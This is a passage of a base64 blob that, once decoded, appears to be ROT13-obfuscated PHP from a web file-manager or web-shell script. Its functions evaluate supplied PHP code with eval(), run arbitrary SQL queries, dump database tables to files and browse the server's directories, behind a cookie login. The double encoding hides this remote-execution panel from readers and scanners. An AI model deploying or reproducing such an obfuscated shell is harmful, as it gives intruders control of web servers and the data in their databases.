ChzbnlmciAhPT0gKCRzdnlyYW56ciA9IGVybnFxdmUoJHN1KSkpIHsKCQkJdnMoZmhvZmdlKCRzdnlyYW56ciwgMCwgMSkgIT0gJy4nIHx8ICRxYl9hYmdfc3Z5Z3JlKSB7CgkJCQl2cygocnpjZ2woJGdsY3IpIHx8ICRnbGNyID09ICdueXknIHx8ICRzaGFwKCRxdmVycGdiZWwgLiAnLycgLiAkc3Z5cmFuenIpKSAmJiAocnpjZ2woJHJrYykgfHwgY2VydF96bmdwdSgkcmtjLCAkc3Z5cmFuenIpKSl7CgkJCQkJJHF2ZVtdID0gJHN2eXJhbnpyOwoJCQkJfQoJCQl9CgkJfQoJCXB5YmZycXZlKCRzdSk7CgkJYW5nZmJlZygkcXZlKTsKCX0KCWVyZ2hlYSAkcXZlOwp9CgpzaGFwZ3ZiYSBzel95dmF4KCR0cmcsJHl2YXgsJGFuenIsJGd2Z3lyPScnKSB7Cgl2cyAocnpjZ2woJGd2Z3lyKSkgJGd2Z3lyPSRhbnpyLicgJy5vbmZyYW56cigkeXZheCk7CgllcmdoZWEgJyZhb2ZjOyZhb2ZjOzxuIHVlcnM9Ij8nLiR0cmcuJz0nLm9uZnI2NF9yYXBicXIoJHl2YXgpLiciIGd2Z3lyPSInLiRndmd5ci4nIj4nLiRhbnpyLic8L24+JzsKfQoKc2hhcGd2YmEgc3pfbmVlX2diX2JjZ3ZiYSgkbmVlLCRhLCRmcnk9JycpewoJc2Jlcm5wdSgkbmVlIG5mICRpKXsKCQkkbz0kaVskYV07CgkJJGVyZi49JzxiY2d2YmEgaW55aHI9IicuJG8uJyIgJy4oJGZyeSAmJiAkZnJ5PT0kbz8nZnJ5cnBncnEnOicnKS4nPicuJG8uJzwvYmNndmJhPic7Cgl9CgllcmdoZWEgJGVyZjsKfQoKc2hhcGd2YmEgc3pfeW5hdF9zYmV6ICgkcGhlZXJhZz0ncmEnKXsKZXJnaGVhICcKPHNiZXogYW56cj0icHVuYXRyX3luYXQiIHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPgoJPGZyeXJwZyBhbnpyPSJzel95bmF0IiBndmd5cj0iJy5fXygnWW5hdGhudHInKS4nIiBiYXB1bmF0cj0icWJwaHpyYWcuc2JlemZbXCdwdW5hdHJfeW5hdFwnXS5maG96dmcoKSIgPgoJCTxiY2d2YmEgaW55aHI9InJhIiAnLigkcGhlZXJhZz09J3JhJz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ1JhdHl2ZnUnKS4nPC9iY2d2YmE+CgkJPGJjZ3ZiYSBpbnlocj0icXIiICcuKCRwaGVlcmFnPT0ncXInPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnVHJlem5hJykuJzwvYmNndmJhPgoJCTxiY2d2YmEgaW55aHI9ImVoIiAnLigkcGhlZXJhZz09J2VoJz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ0VoZmZ2bmEnKS4nPC9iY2d2YmE+CgkJPGJjZ3ZiYSBpbnlocj0ic2UiICcuKCRwaGVlcmFnPT0nc2UnPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnU2VyYXB1JykuJzwvYmNndmJhPgoJCTxiY2d2YmEgaW55aHI9Imh4IiAnLigkcGhlZXJhZz09J2h4Jz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ0h4ZW52YXZuYScpLic8L2JjZ3ZiYT4KCTwvZnJ5cnBnPgo8L3NiZXo+Cic7Cn0KCQpzaGFwZ3ZiYSBzel9lYmJnKCRxdmVhbnpyKXsKCWVyZ2hlYSAoJHF2ZWFuenI9PScuJyBCRSAkcXZlYW56cj09Jy4uJyk7Cn0KCnNoYXBndmJhIHN6X2N1YygkZmdldmF0KXsKCSRxdmZjeW5sX3JlZWJlZj12YXZfdHJnKCdxdmZjeW5sX3JlZWJlZicpOwoJdmF2X2ZyZygncXZmY3lubF9yZWViZWYnLCAnMScpOwoJYm9fZmduZWcoKTsKCXJpbnkoZ2V2eigkZmdldmF0KSk7CgkkZ3JrZyA9IGJvX3RyZ19wYmFncmFnZigpOwoJYm9fcmFxX3B5cm5hKCk7Cgl2YXZfZnJnKCdxdmZjeW5sX3JlZWJlZicsICRxdmZjeW5sX3JlZWJlZik7CgllcmdoZWEgJGdya2c7Cn0KCi8vRlVCSiBRTkdOT05GUkYKc2hhcGd2YmEgc3pfZmR5X3BiYWFycGcoKXsKCXR5Ym9ueSAkc3pfcGJhc3Z0OwoJZXJnaGVhIGFyaiB6bGZkeXYoJHN6X3BiYXN2dFsnZmR5X2ZyZWlyZSddLCAkc3pfcGJhc3Z0WydmZHlfaGZyZWFuenInXSwgJHN6X3BiYXN2dFsnZmR5X2NuZmZqYmVxJ10sICRzel9wYmFzdnRbJ2ZkeV9xbyddKTsKfQoKc2hhcGd2YmEgc3pfZmR5KCRkaHJlbCl7Cgl0eWJvbnkgJHN6X3BiYXN2dDsKCSRkaHJlbD1nZXZ6KCRkaHJlbCk7Cglib19mZ25lZygpOwoJJHBiYWFycGd2YmEgPSBzel9mZHlfcGJhYXJwZygpOwoJdnMgKCRwYmFhcnBndmJhLT5wYmFhcnBnX3JlZWJlKSB7CgkJYm9fcmFxX3B5cm5hKCk7CQoJCWVyZ2hlYSAkcGJhYXJwZ3ZiYS0+cGJhYXJwZ19yZWViZTsKCX0KCSRwYmFhcnBndmJhLT5mcmdfcHVuZWZyZygnaGdzOCcpOwogICAgJGRocmV2cnEgPSB6bGZkeXZfZGhyZWwoJHBiYWFycGd2YmEsJGRocmVsKTsKCXZzICgkZGhyZXZycT09PXNueWZyKSB7CgkJYm9fcmFxX3B5cm5hKCk7CQoJCWVyZ2hlYSB6bGZkeXZfcmVlYmUoJHBiYWFycGd2YmEpOwogICAgfSByeWZyIHsKCQl2cyghcnpjZ2woJGRocmV2cnEpKXsKCQkJanV2eXIoJGViaiA9IHpsZmR5dl9zcmdwdV9uZmZicCgkZGhyZXZycSkpIHsKCQkJCSRkaHJlbF9lcmZoeWdbXT0gICRlYmo7CgkJCX0KCQl9CgkJJGlxaHpjPXJ6Y2dsKCRkaHJlbF9lcmZoeWcpPycnOmluZV9ya2NiZWcoJGRocmVsX2VyZmh5ZyxnZWhyKTsJCgkJYm9fcmFxX3B5cm5hKCk7CQoJCSRwYmFhcnBndmJhLT5weWJmcigpOwoJCWVyZ2hlYSAnPGNlcj4nLmZnZXZjZnluZnVyZigkaXFoemMpLic8L2Nlcj4nOwoJfQp9CgpzaGFwZ3ZiYSBzel9vbnB4aGNfZ25veXJmKCRnbm95cmYgPSAnKicsICRzaHl5X29ucHhoYyA9IGdlaHIpIHsKCXR5Ym9ueSAkY25ndTsKCSR6bGZkeXFvID0gc3pfZmR5X3BiYWFycGcoKTsKCSRxcnl2enZncmUgPSAiOyBcYSAgXGEiOwoJdnMoJGdub3lyZiA9PSAnKicpCXsKCQkkZ25veXJmID0gbmVlbmwoKTsKCQkkZXJmaHlnID0gJHpsZmR5cW8tPmRocmVsKCdGVUJKIEdOT1lSRicpOwoJCWp1dnlyKCRlYmogPSB6bGZkeXZfc3JncHVfZWJqKCRlcmZoeWcpKQl7CgkJCSRnbm95cmZbXSA9ICRlYmpbMF07CgkJfQoJfSByeWZyIHsKCQkkZ25veXJmID0gdmZfbmVlbmwoJGdub3lyZikgPyAkZ25veXJmIDogcmtjeWJxcignLCcsJGdub3lyZik7Cgl9CiAgICAKCSRlcmdoZWE9Jyc7CglzYmVybnB1KCRnbm95cmYgbmYgJGdub3lyKQl7CgkJJGVyZmh5ZyA9ICR6bGZkeXFvLT5kaHJlbCgnRlJZUlBHICogU0VCWiAnLiRnbm95cik7CgkJJGFoel9zdnJ5cWYgPSB6bGZkeXZfYWh6X3N2cnlxZigkZXJmaHlnKTsKCQkkZXJnaGVhLj0gJ1FFQkMgR05PWVIgVlMgUktWRkdGIGAnLiRnbm95ci4nYCcuJHFyeXZ6dmdyZTsKCQkkZWJqMiA9IHpsZmR5dl9zcmdwdV9lYmooJHpsZmR5cW8tPmRocmVsKCdGVUJKIFBFUk5HUiBHTk9ZUiAnLiRnbm95cikpOwoJCSRlcmdoZWEuPSRlYmoyWzFdLiRxcnl2enZncmU7CiAgICAgICAgdnMgKCRzaHl5X29ucHhoYykgewoJCXNiZSAoJHYgPSAwOyAkdiA8ICRhaHpfc3ZyeXFmOyAkdisrKSAgewoJCQlqdXZ5cigkZWJqID0gemxmZHl2X3NyZ3B1X2ViaigkZXJmaHlnKSkgewoJCQkJJGVyZ2hlYS49ICdWQUZSRUcgVkFHQiBgJy4kZ25veXIuJ2AgSU5ZSFJGKCc7CgkJCQlzYmUoJHc9MDsgJHc8JGFoel9zdnJ5cWY7ICR3KyspCXsKCQkJCQkkZWJqWyR3XSA9IG5xcWZ5bmZ1cmYoJGVialskd10pOwoJCQkJCSRlYmpbJHddID0gZmdlX2VyY3lucHIoIlxhIiwiXFxhIiwkZWJqWyR3XSk7CgkJCQkJdnMgKHZmZnJnKCRlYmpbJHddKSkgeyAkZXJnaGVhLj0gJyInLiRlYmpbJHddLiciJyA7IH0gcnlmciB7ICRlcmdoZWEuPSAnIiInOyB9CgkJCQkJdnMgKCR3PCgkYWh6X3N2cnlxZi0xKSkgeyAkZXJnaGVhLj0gJywnOyB9CgkJCQl9CgkJCQkkZXJnaGVhLj0gJyknLiRxcnl2enZncmU7CgkJCX0KCQkgIH0KCQl9IHJ5ZnIgeyAKCQkkZXJnaGVhID0gY2VydF9lcmN5bnByKCIjTkhHQl9WQVBFUlpSQUc9W1xxXSsgI3ZmIiwgJycsICRlcmdoZWEpOwoJCX0KCQkkZXJnaGVhLj0iXGFcYVxhIjsKCX0KCgkvL2ZuaXIgc3Z5cgogICAgJHN2eXI9dHpxbmdyKCJMLXotcV9VLXYtZiIsZ3Z6cigpKS4nLmZkeSc7CgkkdW5hcXlyID0gc2JjcmEoJHN2eXIsJ2orJyk7CglzamV2Z3IoJHVuYXF5ciwkZXJnaGVhKTsKCXNweWJmcigkdW5hcXlyKTsKCSRueXJlZyA9ICdiYVB5dnB4PSJ2cyhwYmFzdmV6KFwnJy4gX18oJ1N2eXIgZnJ5cnBncnEnKS4nOiBcYScuICRzdnlyLiAnLiBcYScuX18oJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPycpIC4gJ1wnKSkgcWJwaHpyYWcueWJwbmd2YmEudWVycyA9IFwnP3FyeXJncj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1ICAuICdcJyInOwogICAgZXJnaGVhICRzdnlyLic6ICcuc3pfeXZheCgncWJqYXlibnEnLCRjbmd1LiRzdnlyLF9fKCdRYmpheWJucScpLF9fKCdRYmpheWJucScpLicgJy4kc3Z5cikuJyA8biB1ZXJzPSIjIiBndmd5cj0iJyAuIF9fKCdRcnlyZ3InKSAuICcgJy4gJHN2eXIgLiAnIiAnIC4gJG55cmVnIC4gJz4nIC4gX18oJ1FyeXJncicpIC4gJzwvbj4nOwp9CgpzaGFwZ3ZiYSBzel9lcmZnYmVyX2dub3lyZigkZmR5U3Z5ckdiUmtycGhncikgewoJJHpsZmR5cW8gPSBzel9mZHlfcGJhYXJwZygpOwoJJHFyeXZ6dmdyZSA9ICI7IFxhICBcYSI7CiAgICAvLyBZYm5xIG5hcSBya2N5YnFyIGd1ciBmZHkgc3Z5cgogICAgJHMgPSBzYmNyYSgkZmR5U3Z5ckdiUmtycGhnciwiZSsiKTsKICAgICRmZHlTdnlyID0gc2VybnEoJHMsc3Z5cmZ2bXIoJGZkeVN2eXJHYlJrcnBoZ3IpKTsKICAgICRmZHlOZWVubCA9IHJrY3licXIoJHFyeXZ6dmdyZSwkZmR5U3Z5cik7CgkKICAgIC8vQ2VicHJmZiBndXIgZmR5IHN2eXIgb2wgZmduZ3J6cmFnZgogICAgc2Jlcm5wdSAoJGZkeU5lZW5sIG5mICRmZ3pnKSB7CiAgICAgICAgdnMgKGZnZXlyYSgkZmd6Zyk+Myl7CgkJCSRlcmZoeWcgPSAkemxmZHlxby0+ZGhyZWwoJGZnemcpOwoJCQkJdnMgKCEkZXJmaHlnKXsKCQkJCQkkZmR5UmVlYmVQYnFyID0gemxmZHl2X3JlZWFiKCR6bGZkeXFvLT5wYmFhcnBndmJhKTsKCQkJCQkkZmR5UmVlYmVHcmtnID0gemxmZHl2X3JlZWJlKCR6bGZkeXFvLT5wYmFhcnBndmJhKTsKCQkJCQkkZmR5Rmd6ZyAgICAgID0gJGZnemc7CgkJCQkJb2Vybng7CiAgICAgICAgICAgCSAgICAgfQogICAgICAgICAgIAkgIH0KICAgICAgICAgICB9CnZzIChyemNnbCgkZmR5UmVlYmVQYnFyKSkgZXJnaGVhIF9fKCdGaHBwcmZmJykuJyDigJQgJy4kZmR5U3Z5ckdiUmtycGhncjsKcnlmciBlcmdoZWEgJGZkeVJlZWJlR3JrZy4nPG9lLz4nLiRmZ3pnOwp9CgpzaGFwZ3ZiYSBzel92enRfeXZheCgkc3Z5cmFuenIpewoJZXJnaGVhICcuLycub25mcmFuenIoX19TVllSX18pLic/dnp0PScub25mcjY0X3JhcGJxcigkc3Z5cmFuenIpOwp9CgpzaGFwZ3ZiYSBzel91YnpyX2ZnbHlyKCl7CgllcmdoZWEgJwp2YWNoZywgdmFjaGcuc3pfdmFjaGcgewoJZ3JrZy12YXFyYWc6IDJjazsKfQoKdmFjaGcsIGdya2duZXJuLCBmcnlycGcsIHZhY2hnLnN6X3ZhY2hnIHsKCXBieWJlOiBveW5weDsKCXNiYWc6IGFiZXpueSA4Y2cgSXJlcW5hbiwgTmV2bnksIFVyeWlyZ3ZwbiwgZm5hZi1mcmV2czsKCW9iZXFyZS1wYnliZTogb3lucHg7CglvbnB4dGViaGFxLXBieWJlOiAjU1BTUFNQIGFiYXIgIXZ6Y2JlZ25hZzsKCW9iZXFyZS1lbnF2aGY6IDA7CgljbnFxdmF0OiAyY2s7Cn0KCnZhY2hnLnN6X3ZhY2hnIHsKCW9ucHh0ZWJoYXE6ICNTUFNQU1AgYWJhciAhdnpjYmVnbmFnOwoJcGhlZmJlOiBjYnZhZ3JlOwp9CgoudWJ6ciB7CglvbnB4dGViaGFxLXZ6bnRyOiBoZXkoInFuZ246dnpudHIvY2F0O29uZnI2NCx2SU9CRWowWFR0Yk5OTk5BRkh1Ukh0Tk5OT05OTk5ORFBOWk5OTk5iWUQ5R05OTk5PVHFPR0hSTk5YL1ZBakpYNkROTk50RURHU0VTL3MzOTZCd2IvLy8vZ0cwMm1lK3NqNjZFZ3c0MzJHUmMzWktSMlFOZTNHTGMxbDR6Z1FqMi83T1ovN09CZEljcC84eTMxd3BkZDZyYWpwVU8yR3R2NXd0ZEljb1NpZW4yYU9OSS9DbTgyRjB3YWswSjNHSHhkRnR2NHJVdTRHZmVyNGpiZm0wMjZoQ3dtVExxNkhmM2xhTmxxSE9ONVh5M3N6NXJkTW5KN0JRdHYySXQrQ3c0aEwrUmpZejVvTDlILy83d3NZZ1ArZ0JYM3dwei83MWgyd0xiMUhMdTVuV3kvZnJQM3dSejEyeHpXZVZOMXdaei85bkg0WXUwcjAxT3lWblIvLy9xdVpxUDdWTi8vc0dNMnAzWko2YUEzMGpzOTVJcTRXcUtiS0liZjhhUjRyc0EvKzYzVld0RmFMdXk3UzRwZktnODlUREhqWSsvd3kxcDQxTmQrc28ydHpnVjFlWG4yUDR4V25WTjN3TGV5R2o1Z3c0MjN3TGEzcEtSMW1EYmtaVU9jMXlNM1F0emR2eGYvK3pwd1lYODN3THhselpJM0dMeC8vVVoraDdKdXpnZTBicUdjbkJ3c0pXc2VVY3QvOE9mLzdnSi83SXIrNEg1MlFaejNaWU9hNGRZdEFJWjZabU8zeVJzeVZoWS8rd04vLy8yMFlCbXdLazgvN3lvSmNXVDJQOHgzR2JmV1haTjFsandiY0JFMW1MYzVRZmN2bmwrbFhBdWRYRng4QUo2L3N3YWY3Qm0yZ2FNaG04ODdvK0ozbkVMLyt6ZjRlUFIzR2JnN0k4NW9Ya3doUk4zajQ1SXU1aHVkNm56NHBTa3RNTUovOWRWaGp0WGwwZkoraHdHNEdEYWdtNDIzUDh2M21Idy8rWGovbjVxNkhaa2hZNmptUVJlLy8vL3BkV0RzTk5OTlhrMEh4NUcvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy9OTkpJU29STk5OTk1xUklMcVNBaU1hRTNMS1d5TlJTeG8yV3lWUnlnTEpxeUh6SXVNVXlrbEpIOE5OTk4ySHlSRElEYkgyQUx3RExMZk52UjhIOUxtUUx3SWNUTUVrWnZSUHZnWmVJTWliWmVHeUQyUkZFRFcyU0lqdmFMb3pkR0hZYmJ1YVIxdDFuWFRGL3NBWmd4NDBsTTlYSVlEdXRMeGhMN0FrRGlLbFVJU0FhWG1FNjlkY2tPQ1pybTBSR05EbEdIaUZidG5WU25DcEFkSS9aNXF1bjJFeTJHdnpvNk0rRE9RTDFLQS9Gb2g4a1NZVDNyWVFzeTJITk93dnlCMWIwMTJNM3J4MXlNSVZKTk56SEdYNlkwZjNjSyt3dzZjaE0yTmpKSGlPRW5jdWZqWnFIaHdQdmpRam41SVJxQ1Y3bGFIeXA3aTFkTEhFWWRoczQydW00NVBPQ1Fnak5QZXorRVFwa1dMTk5OTk5PV0VINVJleFd0dHQ9PSIpOwoJb25weHRlYmhhcS1lcmNybmc6IGFiLWVyY3JuZzsKfSc7Cn0KCnNoYXBndmJhIHN6X3BiYXN2dF9wdXJweG9ia19lYmooJGFuenIsJGlueWhyKSB7Cgl0eWJvbnkgJHN6X3BiYXN2dDsKCWVyZ2hlYSAnPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIHZxPSJzel9wYmFzdnRfJy4kaW55aHIuJyIgYW56cj0ic3pfcGJhc3Z0WycuJGlueWhyLiddIiBpbnlocj0iMSIgJy4ocnpjZ2woJHN6X3BiYXN2dFskaW55aHJdKT8nJzoncHVycHhycT0iZ2VociInKS4nIGdsY3I9InB1cnB4b2JrIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PHlub3J5IHNiZT0ic3pfcGJhc3Z0XycuJGlueWhyLiciPicuJGFuenIuJzwvZ3E+PC9nZT4nOwp9CgpzaGFwZ3ZiYSBzel9jZWJnYnBieSgpIHsKCXZzICh2ZmZyZygkX0ZSRUlSRVsnVUdHQ19GUFVSWlInXSkpIGVyZ2hlYSAkX0ZSRUlSRVsnVUdHQ19GUFVSWlInXS4nOi8vJzsKCXZzICh2ZmZyZygkX0ZSRUlSRVsnVUdHQ0YnXSkgJiYgJF9GUkVJUkVbJ1VHR0NGJ10gPT0gJ2JhJykgZXJnaGVhICd1Z2djZjovLyc7Cgl2cyAodmZmcmcoJF9GUkVJUkVbJ0ZSRUlSRV9DQkVHJ10pICYmICRfRlJFSVJFWydGUkVJUkVfQ0JFRyddID09IDQ0MykgZXJnaGVhICd1Z2djZjovLyc7Cgl2cyAodmZmcmcoJF9GUkVJUkVbJ1VHR0NfS19TQkVKTkVRUlFfQ0VCR0InXSkgJiYgJF9GUkVJUkVbJ1VHR0NfS19TQkVKTkVRUlFfQ0VCR0InXSA9PSAndWdnY2YnKSBlcmdoZWEgJ3VnZ2NmOi8vJzsKCWVyZ2hlYSAndWdnYzovLyc7Cn0KCnNoYXBndmJhIHN6X2Z2Z3JfaGV5KCkgewoJZXJnaGVhIHN6X2NlYmdicGJ5KCkuJF9GUkVJUkVbJ1VHR0NfVUJGRyddOwp9CgpzaGFwZ3ZiYSBzel9oZXkoJHNoeXk9c255ZnIpIHsKCSR1YmZnPSRzaHl5P3N6X2Z2Z3JfaGV5KCk6Jy4nOwoJZXJnaGVhICR1YmZnLicvJy5vbmZyYW56cihfX1NWWVJfXyk7Cn0KCnNoYXBndmJhIHN6X3VienIoJHNoeXk9c255ZnIpewoJZXJnaGVhICcmYW9mYzs8biB1ZXJzPSInLnN6X2hleSgkc2h5eSkuJyIgZ3ZneXI9IicuX18oJ1VienInKS4nIj48ZmNuYSBweW5mZj0idWJ6ciI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPjwvbj4nOwp9CgpzaGFwZ3ZiYSBzel9laGFfdmFjaGcoJHlhdCkgewoJdHlib255ICRzel9wYmFzdnQ7CgkkZXJnaGVhID0gIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl8nLiR5YXQuJ19wYmFmYnlyJ10pID8gCgknCgkJCQk8c2JleiAgenJndWJxPSJjYmZnIiBucGd2YmE9Iicuc3pfaGV5KCkuJyIgZmdseXI9InF2ZmN5bmw6dmF5dmFyIj4KCQkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9IicuJHlhdC4nZWhhIiBpbnlocj0iJy5mZ2VnYmhjY3JlKCR5YXQpLicgJy5fXygnUGJhZmJ5cicpLiciPgoJCQkJPC9zYmV6PgonIDogJyc7CgllcmdoZWEgJGVyZ2hlYTsKfQoKc2hhcGd2YmEgc3pfaGV5X2NlYmtsKCR6bmdwdXJmKSB7CgkkeXZheCA9IGZnZV9lcmN5bnByKCcmbnpjOycsJyYnLCR6bmdwdXJmWzJdKTsKCSRoZXkgPSB2ZmZyZygkX1RSR1snaGV5J10pPyRfVFJHWydoZXknXTonJzsKCSRjbmVmcl9oZXkgPSBjbmVmcl9oZXkoJGhleSk7CgkkdWJmZyA9ICRjbmVmcl9oZXlbJ2ZwdXJ6ciddLic6Ly8nLiRjbmVmcl9oZXlbJ3ViZmcnXS4nLyc7Cgl2cyAoZmhvZmdlKCR5dmF4LDAsMik9PScvLycpIHsKCQkkeXZheCA9IGZob2ZnZV9lcmN5bnByKCR5dmF4LHN6X2NlYmdicGJ5KCksMCwyKTsKCX0gcnlmcnZzIChmaG9mZ2UoJHl2YXgsMCwxKT09Jy8nKSB7CgkJJHl2YXggPSBmaG9mZ2VfZXJjeW5wcigkeXZheCwkdWJmZywwLDEpOwkKCX0gcnlmcnZzIChmaG9mZ2UoJHl2YXgsMCwyKT09Jy4vJykgewoJCSR5dmF4ID0gZmhvZmdlX2VyY3lucHIoJHl2YXgsJHViZmcsMCwyKTsJCgl9IHJ5ZnJ2cyAoZmhvZmdlKCR5dmF4LDAsNCk9PSd1Z2djJykgewoJCS8vbnl5cmYgem5wdXJhIGpoYXFyZWZwdWJhCgl9IHJ5ZnIgewoJCSR5dmF4ID0gJHViZmcuJHl2YXg7Cgl9IAoJdnMgKCR6bmdwdXJmWzFdPT0ndWVycycgJiYgIWZnZWV2Y2JmKCR5dmF4LCAncGZmJykpIHsKCQkkb25mciA9IHN6X2Z2Z3JfaGV5KCkuJy8nLm9uZnJhbnpyKF9fU1ZZUl9fKTsKCQkkb25mcmQgPSAkb25mci4nP2NlYmtsPWdlaHImaGV5PSc7CgkJJHl2YXggPSAkb25mcmQuaGV5cmFwYnFyKCR5dmF4KTsKCX0gcnlmcnZzIChmZ2VldmNiZigkeXZheCwgJ3BmZicpKXsKCQkvL9C60LDQui3RgtC+INGC0L7QttC1INC/0L7QtNC80LXQvdGP0YLRjCDQvdCw0LTQvgoJfQoJZXJnaGVhICR6bmdwdXJmWzFdLic9IicuJHl2YXguJyInOwp9CiAKc2hhcGd2YmEgc3pfZ2N5X3NiZXooJHlhdF9nY3kpIHsKCXR5Ym9ueSAkeyR5YXRfZ2N5LidfZ3J6Y3luZ3JmJ307CgkkZ2N5X25lZSA9IHdmYmFfcXJwYnFyKCR7JHlhdF9nY3kuJ19ncnpjeW5ncmYnfSxnZWhyKTsKCSRmZ2UgPSAnJzsKCXNiZXJucHUgKCRnY3lfbmVlIG5mICR4Z2N5PT4kaWdjeSkgewoJCSRmZ2UgLj0gJzxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSInLiR5YXRfZ2N5LidfYW56cltdIiBpbnlocj0iJy4keGdjeS4nIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PGdya2duZXJuIGFuenI9IicuJHlhdF9nY3kuJ19pbnlocltdIiAgcGJ5Zj0iNTUiIGViamY9IjUiIHB5bmZmPSJncmtnbmVybl92YWNoZyI+Jy4kaWdjeS4nPC9ncmtnbmVybj4gPHZhY2hnIGFuenI9InFyeV8nLmVuYXEoKS4nIiBnbGNyPSJvaGdnYmEiIGJhUHl2cHg9Imd1dmYuY25lcmFnQWJxci5jbmVyYWdBYnFyLmVyemJpcigpOyIgaW55aHI9IicuX18oJ1FyeXJncicpLiciLz48L2dxPjwvZ2U+JzsKCX0KZXJnaGVhICcKPGdub3lyPgo8Z2U+PGd1IHBieWZjbmE9IjIiPicuZmdlZ2JoY2NyZSgkeWF0X2djeSkuJyAnLl9fKCdncnpjeW5ncmYnKS4nICcuc3pfZWhhX3ZhY2hnKCR5YXRfZ2N5KS4nPC9ndT48L2dlPgo8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iIj4KPHZhY2hnIGdsY3I9InV2cXFyYSIgaW55aHI9IicuJHlhdF9nY3kuJyIgYW56cj0iZ2N5X3JxdmdycSI+CjxnZT48Z3EgcHluZmY9ImViajEiPicuX18oJ0FuenInKS4nPC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPicuX18oJ0lueWhyJykuJzwvZ3E+PC9nZT4KJy4kZmdlLicKPGdlPjxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMyI+PHZhY2hnIGFuenI9ImVyZiIgZ2xjcj0ib2hnZ2JhIiBiYVB5dnB4PSJxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCcnLnN6X2hleSgpLic/c3pfZnJnZ3ZhdGY9Z2VoclwnOyIgaW55aHI9IicuX18oJ0VyZnJnJykuJyIvPiA8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRm5pcicpLiciID48L2dxPjwvZ2U+Cjwvc2Jlej4KPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9IiI+Cjx2YWNoZyBnbGNyPSJ1dnFxcmEiIGlueWhyPSInLiR5YXRfZ2N5LiciIGFuenI9ImdjeV9ycXZncnEiPgo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0iJy4keWF0X2djeS4nX2Fyal9hbnpyIiBpbnlocj0iIiBjeW5wcnVieXFyZT0iJy5fXygnQXJqJykuJyAnLl9fKCdBbnpyJykuJyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPjxncmtnbmVybiBhbnpyPSInLiR5YXRfZ2N5LidfYXJqX2lueWhyIiAgcGJ5Zj0iNTUiIGViamY9IjUiIHB5bmZmPSJncmtnbmVybl92YWNoZyIgY3lucHJ1YnlxcmU9IicuX18oJ0FyaicpLicgJy5fXygnSW55aHInKS4nIj48L2dya2duZXJuPjwvZ3E+PC9nZT4KPGdlPjxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMyI+PHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ05xcScpLiciID48L2dxPjwvZ2U+Cjwvc2Jlej4KPC9nbm95cj4KJzsKfQoKLyogUmFxIFNoYXBndmJhZiAqLwoKLy8gbmhndWJldm1uZ3ZiYQp2cyAoJG5oZ3VbJ25oZ3ViZXZtciddKSB7Cgl2cyAodmZmcmcoJF9DQkZHWyd5YnR2YSddKSAmJiB2ZmZyZygkX0NCRkdbJ2NuZmZqYmVxJ10pKXsKCQl2cyAoKCRfQ0JGR1sneWJ0dmEnXT09JG5oZ3VbJ3lidHZhJ10pICYmICgkX0NCRkdbJ2NuZmZqYmVxJ109PSRuaGd1WydjbmZmamJlcSddKSkgewoJCQlmcmdwYmJ4dnIoJG5oZ3VbJ3BiYnh2cl9hbnpyJ10sICRuaGd1Wyd5YnR2YSddLid8Jy56cTUoJG5oZ3VbJ2NuZmZqYmVxJ10pLCBndnpyKCkgKyAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsKCQkJJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dPSRuaGd1Wyd5YnR2YSddLid8Jy56cTUoJG5oZ3VbJ2NuZmZqYmVxJ10pOwoJCX0KCX0KCXZzICghdmZmcmcoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dKSBCRSAoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dIT0kbmhndVsneWJ0dmEnXS4nfCcuenE1KCRuaGd1WydjbmZmamJlcSddKSkpIHsKCQlycHViICcKPCFxYnBnbGNyIHVnenk+Cjx1Z3p5Pgo8dXJucT4KPHpyZ24gcHVuZWZyZz0iaGdzLTgiIC8+Cjx6cmduIGFuenI9Iml2cmpjYmVnIiBwYmFncmFnPSJqdnFndT1xcml2cHItanZxZ3UsIHZhdmd2bnktZnBueXI9MSIgLz4KPGd2Z3lyPicuX18oJ1N2eXIgem5hbnRyZScpLic8L2d2Z3lyPgo8L3VybnE+CjxvYnFsPgo8c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj4KJy5fXygnWWJ0dmEnKS